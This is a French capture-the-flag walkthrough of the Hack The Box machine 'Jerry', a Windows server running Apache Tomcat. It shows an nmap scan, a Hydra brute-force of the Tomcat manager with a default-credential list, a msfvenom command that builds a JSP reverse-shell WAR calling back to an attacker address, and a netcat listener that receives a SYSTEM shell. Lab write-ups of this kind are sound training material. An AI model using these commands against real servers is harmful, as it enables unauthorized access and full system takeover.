Aujourd'hui nous allons exploiter la machine Jerry de chez Hack The Box.Il s'agit comme on le verra d'une machine windows avec un serveur apache/tomcat
Niveau : super facile
But : récupérer les fichiers users.txt et root.txt
Au programme
Scan
- nmap
Exploitation de la vulnérabilité
- Upload d'une webshell
- RCE (Remote Code Execution) et shell netcat
Scan avec nmap
Un scan rapide avec nmap nous montre que le port 8080 est ouvert. Le scan TCP de tous les ports n'a révélé aucune information supplémentaire. En avant pour le port 80.
nmap -sT -A --top-ports=1000 10.10.10.95
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Énumération
Tomcat est un serveur http qui gère les servlets et les JSP. Une recherche sur exploit-db ne donne pas grand chose. L'accès au manager est protégé par un mot de passe. À ce moment là, je lance en parallèle une attaque par force brute et gobuster pour voir s'il n'y a pas quelques dossiers/fichiers intéressants. Dans seclists j'utilise le fichier qui liste les mot de passe par défaut de tomcat. Hydra me donne rapidement des résultats :
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html
Exploitation de la vulnérabilité
Il n'y a plus qu'à créer une shell à l'aide de msfvenom :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=24660 -f war > shell.war
et l'envoyer sur le serveur à l'aide du formulaire
La shell est accessible à l'adresse /shell
Une fois le script exécuté, j'obtiens une shell grace à mon listener netcat
nc -nlvp 24660
Je suis NT AUTHORITY \ SYSTEM donc pas d'élévation de privilège